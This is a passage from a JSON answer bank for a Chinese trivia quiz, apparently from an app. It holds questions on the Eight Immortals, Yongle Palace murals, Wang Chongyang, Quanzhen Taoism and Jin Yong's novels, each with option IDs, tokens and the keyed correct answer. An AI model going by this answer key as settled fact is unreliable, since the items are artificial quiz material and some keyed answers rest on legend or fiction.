16:47:49","status":"1"},{"questionId":"6001430880","questionIndex":"4","questionStem":"吕洞宾“一梦到华胥”时,隔壁正在煮什么?","options":"[{\"optionId\":\"LcQSx0BQjzZdut3ckfe0efWtA76zpgQnSW6M\",\"optionDesc\":\"红豆\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0eByEVtbAigTg7LGI\",\"optionDesc\":\"薏米\"}]","questionToken":"LcQSx0BQjzZdut2Lgr-vLw11ArYuG5w5ier2aI5Z8J-3k0rOjwI2vMGmSi_pymJJQ-decYQqQ3sqOsAXDdprXnq6D6nYEA","correct":"{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430881","questionIndex":"2","questionStem":"永乐宫壁画中何仙姑吃了何物才得道升仙的?","options":"[{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eUalSh6_9EbVJBI2\",\"optionDesc\":\"琼浆玉露\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eBdsWaLWtzqs5Xf1\",\"optionDesc\":\"云母\"}]","questionToken":"LcQSx0BQjzZdu92Ngr-vL0fubBA1iKyB0AjKDZJq3nBwN3GOlVY9WRtb04M54Z58Zl8rLIke-gaemdXOxs-H1Gc25k5Nug","correct":"{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430882","questionIndex":"1","questionStem":"八仙过海是为了参加谁的宴会?","options":"[{\"optionId\":\"LcQSx0BQjzZduN3ckfe0eFHOu_RGJURUWfto\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ecp3-xGcUHLj7X0f\",\"optionDesc\":\"如来佛祖\"}]","questionToken":"LcQSx0BQjzZduN2Ogr-vKNLKn3YQSrJyGnteYQt6UOreN9L7hpt_3_UjS2TPH9FqkvcDe0DBo9F0TMG7RoTyg9gPjwS9aw","correct":"{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430883","questionIndex":"4","questionStem":"吕洞宾曾对汉钟离称自己三年可度几人?","options":"[{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eJGUSsBkVBCO\",\"optionDesc\":\"八人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eSxFsDGiw7Mz\",\"optionDesc\":\"八千人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}]","questionToken":"LcQSx0BQjzZdud2Lgr-vKCz1nZFhCEHj2wU65pgaDLPlaReMb2PpBjiIrYfjaioe_NsqO4xlLFJsgGtgP-KqatbE7YcBtg","correct":"{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430884","questionIndex":"4","questionStem":"传说中谁是八仙中俗家身份最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eEro0qVAnRThm2I\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eZ-YKYQVvAip7HE\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZdvt2Lgr-vKKunM0pFomqfHhEISz2n2xV5ojUZ7wSMtXwaXrQJ_Ne2UbVzxUSnb5j9y1vsAycG9Ee7-HFrTA","correct":"{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430885","questionIndex":"2","questionStem":"永乐宫壁画中,以下哪座名楼与吕洞宾有关?","options":"[{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eaHTVp2HQ-FhEm-6\",\"optionDesc\":\"鹳雀楼\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eFJDIMssO9AeKeCH\",\"optionDesc\":\"滕王阁\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}]","questionToken":"LcQSx0BQjzZdv92Ngr-vKOuKY5vPLT3L3sKC3Q1lxAOnPefzE_T6iaqax-01cguIt8-douLcrpBXNrPXzOsxTPQb17NxjQ","correct":"{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6001430886","questionIndex":"2","questionStem":"八仙中以下哪位和吕洞宾的不是师徒关系?","options":"[{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eSY9dqk8RnlMQunu0Q\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eAWH_PMOxsQj-mt4Ig\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZdvN2Ngr-vKPtjULOwLdG0WhL0-r0saalZZyW9QGhdGZFXVx7uPhExQsCb-45Ajdtcsbdb6qZnzdbw0tgLow","correct":"{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 16:48:06","status":"1"},{"questionId":"6001430887","questionIndex":"2","questionStem":"以下哪位神仙为传说中的“八仙之首”?","options":"[{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eawSW710Vogwl1k\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eDMvQ8n9vctrkFI\",\"optionDesc\":\"钟离权\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}]","questionToken":"LcQSx0BQjzZdvd2Ngr-vKJ5p8_SrNNZZIMtnWLzqC4NzHzVokO4Egpn7dboiBkAbYobrvuuv2pV6F6D9RaU0BrG5Nc3Eww","correct":"{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430888","questionIndex":"3","questionStem":"传说中韩湘子是以下哪位名人的亲戚?","options":"[{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eFdMOV9Htwt_YM4K_A\",\"optionDesc\":\"韩非子\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eSOazJK2SAZxY6tRYw\",\"optionDesc\":\"韩信\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}]","questionToken":"LcQSx0BQjzZdst2Mgr-vL4pvIvp9Gq9H9BEvAyzUdAylgzb0keT6-_S7DAlkg5uW73PMbyaa3NuZQjflOBJpS1ENHEAw-Q","correct":"{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430889","questionIndex":"1","questionStem":"八仙中的哪一位曾元神出窍后借尸还魂?","options":"[{\"optionId\":\"LcQSx0BQjzZds93ckfe0eM5H_pYjPKlXhmo\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eYmECYg2psNadFc\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZds92Ogr-vL8XkJmeHi8pNn9C64eRKNgmNEK4TDwKOnlt_CTghxSR7hpzllHBvLOSzGQoQQGmx6Ie394Dd-g","correct":"{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430890","questionIndex":"1","questionStem":"八仙中的哪一位与“竹篮打水”的故事有关?","options":"[{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eUpLKtnL89UTIVyN\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eGCSELiNHluPBj9P\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZcut2Ogr-vLz-_ud_5yCneWVtrktGmqGm6dKZrYmBqKqfVsm4zHe_rWstp1hIaGiEty0S6Om0Yvf6I8c594g","correct":"{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430891","questionIndex":"5","questionStem":"王重阳传说故事的壁画位于永乐宫哪个建筑?","options":"[{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eByMVbp7dujuayp3Bg\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eYgr8rfVTn7o1pifXA\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}]","questionToken":"LcQSx0BQjzZcu92Kgr-vKM4WSvkVqb_wIBe1fkHDFe1j6CNMpGlEnpS6Krc8tMQ9CYsAjMX53sZpCJ84Hn2M2isPLNjzPQ","correct":"{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430892","questionIndex":"5","questionStem":"王重阳最著名的七位弟子被称作?","options":"[{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eC3r_wTq1iGgxkA\",\"optionDesc\":\"江南七怪\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eWYYc54OmvQRfYg\",\"optionDesc\":\"武当七侠\"}]","questionToken":"LcQSx0BQjzZcuN2Kgr-vLw49ajDj9_6LS7EiV6B192yNBHUMRXH5hIatyWDG1xcgjgicv893Y5QA3TQF4lj6vokpWC34Sw","correct":"{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430893","questionIndex":"3","questionStem":"下列哪位不是王重阳的弟子全真七子之一?","options":"[{\"optionId\":\"LcQSx0BQjzZcud3ckfe0eCToQDisJix-gw\",\"optionDesc\":\"孙不二\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0ecCpxS2TMW9gJA\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcud2Mgr-vL84-6rxEdoYA5udyVd71_Bmn4pmCZzAQ4eJcrAg5Dm2eiM3tssTSmjtWSZhdQT8v6Sn50_b_Uw","correct":"{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430894","questionIndex":"5","questionStem":"王重阳没有出现在金庸的哪部小说中?","options":"[{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eZhGE-WmlYP5wF4\",\"optionDesc\":\"《神雕侠侣》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eCyWxLsD9wxMAAQ\",\"optionDesc\":\"《射雕英雄传》\"}]","questionToken":"LcQSx0BQjzZcvt2Kgr-vKADnt9aZqP7E7kDW93_zEPQ6-y3WLssHj23HWbMsyUKaANeBVbHujjojO6tpAE9-KnjeJ0CPOA","correct":"{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430895","questionIndex":"1","questionStem":"王重阳是道教哪个门派的创始人?","options":"[{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ed1XaF4fQoK8thWF5Q\",\"optionDesc\":\"正一派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ePeSGvJdHSW1dSKYtA\",\"optionDesc\":\"武当派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}]","questionToken":"LcQSx0BQjzZcv92Ogr-vKCNvBkdyQbHtm5EsZ1QWwDlcrGcUfKes0yANIalWONFkUwGtJt6uS5RqJkONS0SNqgzF8DTTXQ","correct":"{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430896","questionIndex":"2","questionStem":"丘处机向哪位君主进献《止杀令》?","options":"[{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eVq2Tt3-nXy-Oa7P1w\",\"optionDesc\":\"忽必烈\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eFYmcaXocF1Ai81DvA\",\"optionDesc\":\"朱元璋\"}]","questionToken":"LcQSx0BQjzZcvN2Ngr-vL3kBk2uuOfqKHpXJRBxJKoj5aAOH0nJZkwcUTW6S8mh_7WkVXtr4eIE7Z7uvkZbCjFt_5iU56g","correct":"{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001430897","questionIndex":"2","questionStem":"下列哪种法器不属于道教法器?","options":"[{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0eBmh7TNmGA-HhLN6wQ\",\"optionDesc\":\"宝镜\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0ea6uiQyfH-isTqgqIA\",\"optionDesc\":\"拂尘\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}]","questionToken":"LcQSx0BQjzZcvd2Ngr-vL-wp_0sUNfcYwBOOQAhURenRdpz9yv_zUPXWFQ89sKB1KKJVUzKzIr5bBAUcOw-diiG8B1ry6w","correct":"{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6001430898","questionIndex":"1","questionStem":"下列哪个神不属于道教中的“三清”?","options":"[{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eRatmQ9nm_wvjAa3nA\",\"optionDesc\":\"太上老君\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eO4935f7S9fwDIjx6A\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjzZcst2Ogr-vL9hTitaImRj4jyZNGgPs1MA_Z7nbQPHP8fsdZ3wbEFbq69QBQnyBw5he2iDls_bS2_9CLrLOKQ","correct":"{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430899","questionIndex":"2","questionStem":"请问下列哪位道士不属于全真派?","options":"[{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eSGHIRy6-DC4N2Cr\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eP0Jm4ywryrOFMMS\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcs92Ngr-vKFtqHqNWZSjQPel2B09khUt00TpdAqQSoqe5ewdE2PD-z1jqC33LxLEPE38lfJoZcpvRLOaHTA","correct":"{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6001430900","questionIndex":"4","questionStem":"太上老君在“三清”中被称作?","options":"[{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8GUKW7luRq6b38BGHg\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8cQ9HpHXdteEyvIrJg\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjze5tmz53ahHocKJG9xWC7L-0VDrW-rgQx_rdreq-oezem_oWw6_Qvs-p680eImWUOrKwt45qU2qj-H6kmznsw","correct":"{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"6001430901","questionIndex":"5","questionStem":"“玄元十子”是谁的弟子?","options":"[{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8dPQFEuelT2tPIEz\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8P4GSVW2v-MpqpYK\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze5t2z43ahHoYez41joyFGv_NhsxUuIegs-tIqO4OBCqMvPgkrpSEFPZrvm0vZeRr3mW4SEN6a1L89DmHgd_A","correct":"{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430902","questionIndex":"2","questionStem":"金庸小说中,王重阳的外号是?","options":"[{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8NBgdZ_h9VnIO4w\",\"optionDesc\":\"神算子\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8Vop2fUowbjEDGc\",\"optionDesc\":\"云中鹤\"}]","questionToken":"LcQSx0BQjze5tGz_3ahHpphpKQlDnWPBFbYk5g6lM-aSITPNDnS2pNPaEUvQ727b4PZ8KQjlCdFz3A6NADx3n9OahItFjw","correct":"{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430903","questionIndex":"4","questionStem":"王重阳通过华山论剑获得了哪本武林秘籍?","options":"[{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8erShgupyUkdro_u\",\"optionDesc\":\"葵花宝典\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8PzocDcqKxw95X_4\",\"optionDesc\":\"九阳神功\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}]","questionToken":"LcQSx0BQjze5tWz53ahHoWkeVkCL-MxaijKqe-6LCRLo8dAc--UAVwIi117n2jdR10T0aJZoDXM21s9EDZn0hbS53rPk_A","correct":"{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430904","questionIndex":"4","questionStem":"历史上王重阳通过什么选拔一度为官?","options":"[{\"optionId\":\"LcQSx0BQjze5smyuzuBc8RsERAgmD5jG03P8cA\",\"optionDesc\":\"礼部试科举\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc8LQb2U-oRwEYkxQO8Q\",\"optionDesc\":\"举孝廉\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}]","questionToken":"LcQSx0BQjze5smz53ahHptnvSWA07NhgYDPBQSs3rs9Sse7OD73FC0AvY9kxXdu-7hnE6fHS3dTa5TybJuEM7c9GCzJnWQ","correct":"{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430905","questionIndex":"1","questionStem":"道教中的门神是?","options":"[{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8A3iJqh_mOhYUSQ6XQ\",\"optionDesc\":\"秦琼与尉迟敬德\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8bPWnVv6911UGPWRmw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"LcQSx0BQjze5s2z83ahHoZq-1XLbdb2SUNzCDurSqP8wsdEy0JOrju0JHILHhO7YYYPVxppCfAAzsyb6-TaPWiXe8EZ1Hg","correct":"{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001430906","questionIndex":"4","questionStem":"道教中地位最高的神是?","options":"[{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8LNgQttCfI31KtE\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8ZI_txvJ9f87b9E\",\"optionDesc\":\"道德天尊\"}]","questionToken":"LcQSx0BQjze5sGz53ahHocdZoIUn2nJU_1imFh4ixfYp3NFTy6nT12eFY2_J4r-7FPi3MYkQgnXLaI635_mHOPzmT0QnPg","correct":"{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430907","questionIndex":"3","questionStem":"王重阳为保护九阴真经临死前最后击败了谁?","options":"[{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8VCFswQUzrW5wog\",\"optionDesc\":\"完颜洪烈\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8DGcWlXProCuvTY\",\"optionDesc\":\"杨康\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}]","questionToken":"LcQSx0BQjze5sWz-3ahHoaiY8E3enzZqJeuOg9lTXhPgKLMXndbiWHJtwkivrwmK07pEDUMonsqjrrfWmb5GbWvJzQCyAg","correct":"{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6001430908","questionIndex":"1","questionStem":"为克制全真派,林朝英创立了哪个门派?","options":"[{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8VC-TlQUypMQ-D8a\",\"optionDesc\":\"峨眉派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8NY3pbMvRxOmiDnx\",\"optionDesc\":\"华山派\"}]","questionToken":"LcQSx0BQjze5vmz83ahHoYmoVK9miAGMlot42lrn1WWfj2CehEra18dCjaBqOhUIQUFI2Nyr2O8WnoOtEssT2Xann-JeZw","correct":"{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"}","create_time":"2/2/2021 16:48:19","update_time":"2/2/2021 16:48:19","status":"1"},{"questionId":"6001430909","questionIndex":"5","questionStem":"哪个朝代在历史上没有大规模推崇过道教?","options":"[{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8bJ7BbaqFXFW6gg\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8EdRENTBf8CaKDg\",\"optionDesc\":\"蒙元\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}]","questionToken":"LcQSx0BQjze5v2z43ahHpqjeKIkRi_O19Aa4ToZtrEOg3nw5LTBphBbWgTaSlhGeQcs7Pj_LEvp9uLwq8cUpPw6KXjj50w","correct":"{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430910","questionIndex":"3","questionStem":"以下哪个宗教是在中国本土诞生的?","options":"[{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8PiImvxLpCgF9bw\",\"optionDesc\":\"佛教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8aOAaOq4K6eoaPs\",\"optionDesc\":\"明教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}]","questionToken":"LcQSx0BQjze4tmz-3ahHpjk39eMWLD99vqru-NdbyX3vdu_TgwM2VXhamnKHlvG5YLgSLmAOf33J2KxWkFimcODEauzdBQ","correct":"{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}","create_time":"2/2/2021 16:48:32","update_time":"2/2/2021 16:48:32","status":"1"},{"questionId":"6001430911","questionIndex":"2","questionStem":"王重阳为了聚集义军和江湖豪侠而建造了?","options":"[{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8fhz4LAhp5VV7JI1\",\"optionDesc\":\"重阳宫\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8JXS6HY2TZIJejRo\",\"optionDesc\":\"聚贤庄\"}]","questionToken":"LcQSx0BQjze4t2z_3ahHoeMjRacbVdZ2UYdzMVBan_8eUlsS24JRvBY0Zffw6OyHY9mhxJlOMaLdGCF0xl_9SOumzznkRg","correct":"{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 